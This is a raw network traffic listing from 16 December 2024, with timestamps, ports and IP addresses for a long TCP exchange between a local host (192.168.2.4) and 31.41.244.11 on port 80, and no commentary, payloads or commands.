Dec 16, 2024 21:03:00.437289953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.437299967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.437302113 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.437311888 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.437321901 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.437324047 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.437335014 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.437345028 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.437346935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.437359095 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.437366009 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.437386036 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.437412024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.438240051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.438251972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.438263893 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.438273907 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.438283920 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.438293934 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.438297987 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.438303947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.438314915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.438323021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.438327074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.438338041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.438338041 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.438364983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.438364983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.438386917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.439141035 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.439152956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.439162970 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.439174891 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.439184904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.439193964 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.439196110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.439207077 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.439215899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.439218998 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.439229965 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.439234972 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.439241886 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.439259052 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.439294100 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.439990997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440004110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440095901 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440107107 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440116882 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440129042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440139055 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440145969 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.440150023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440160990 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440171957 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440181017 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.440207005 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.440233946 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.440937996 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440949917 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.440962076 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441003084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.441023111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.441046000 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:03:00.441085100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441133022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.441900015 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441910982 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441920996 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441931963 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441941023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441951990 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441961050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441972017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441975117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.441977024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.441983938 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442023039 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.442023993 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.442058086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.442740917 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442753077 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442763090 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442791939 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.442819118 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.442826986 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442845106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442856073 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442867994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442874908 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.442878008 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442889929 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442890882 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.442900896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.442918062 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.442931890 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.442965984 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.443783045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.443795919 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.443805933 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.443816900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.443828106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.443835020 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.443839073 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.443849087 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.443857908 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.443860054 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.443871021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.443878889 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.443883896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.443900108 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.443917036 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.444592953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.444603920 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.444653034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.444704056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.444715023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.444724083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.444735050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.444745064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.444755077 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.444756985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.444767952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.444777012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.444780111 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.444797993 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.444816113 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.445693970 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.445719004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.445734978 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.445750952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.445755959 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.445766926 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.445776939 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.445784092 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.445799112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.445806026 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.445816040 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.445826054 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.445832014 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.445852041 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.445852041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.445880890 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.445905924 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.446419001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.446477890 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.446561098 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.446578979 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.446594000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.446609020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.446609974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.446624994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.446630001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.446640015 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.446645975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.446655989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.446666002 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.446672916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.446688890 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.446691036 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.446712971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.446712971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.446736097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.447384119 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.447411060 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.447427034 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.447437048 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.447453022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.447457075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.447468996 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.447494984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.447503090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.447503090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.447511911 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.447524071 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.447529078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.447544098 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.447547913 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.447561026 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.447570086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.447570086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.447593927 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.447612047 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.448259115 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.448323965 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.448324919 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.448343992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.448359013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.448380947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.448385954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.448400974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.448401928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.448417902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.448426962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.448434114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.448446989 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.448451042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.448462963 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.448466063 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.448482990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.448499918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.448517084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.449198961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.449256897 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.449261904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.449282885 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.449297905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.449314117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.449318886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.449318886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.449340105 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.449364901 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.553405046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.553477049 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.553504944 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.553545952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.553551912 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.553590059 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.553626060 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.553673983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.554416895 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.554466963 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.554519892 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.554563999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.555403948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.555433035 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.555458069 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.555488110 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.556231022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.556297064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.556328058 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.556411982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.557238102 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.557290077 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.557379961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.557440042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.557951927 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.558000088 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.558041096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.558093071 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.558837891 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.558895111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.558907032 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.558954954 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.559715033 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.559768915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.559772015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.559829950 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.560587883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.560638905 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.560671091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.560719013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.561480045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.561537027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.561570883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.561619043 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.562364101 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.562422037 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.562454939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.562501907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.563237906 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.563293934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.563349009 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.563402891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.564114094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.564169884 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.564202070 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.564249039 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.564980984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.565028906 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.565120935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.565169096 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.565875053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.565923929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.565942049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.565994024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.566792965 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.566842079 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.566956043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.567002058 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.567639112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.567693949 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.567714930 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.567773104 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.568509102 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.568566084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.568614960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.568675041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.569416046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.569477081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.569556952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.569603920 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.570295095 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.570348978 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.570378065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.570422888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.571192980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.571247101 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.571258068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.571335077 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.572045088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.572093964 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.572110891 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.572160006 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.572927952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.572977066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.573050022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.573102951 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.573822975 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.573882103 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.573964119 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.574017048 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.574681997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.574733973 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.574979067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.575031996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.575581074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.575643063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.575683117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.575735092 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.576510906 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.576562881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.576589108 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.576641083 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.577373028 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.577433109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.577590942 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.577645063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.578315020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.578376055 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.578500986 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.578551054 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.579132080 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.579194069 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.579236984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.579289913 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.579998016 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.580058098 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.580101013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.580152988 CET	49882	80	192.168.2.4	31.41.244.11
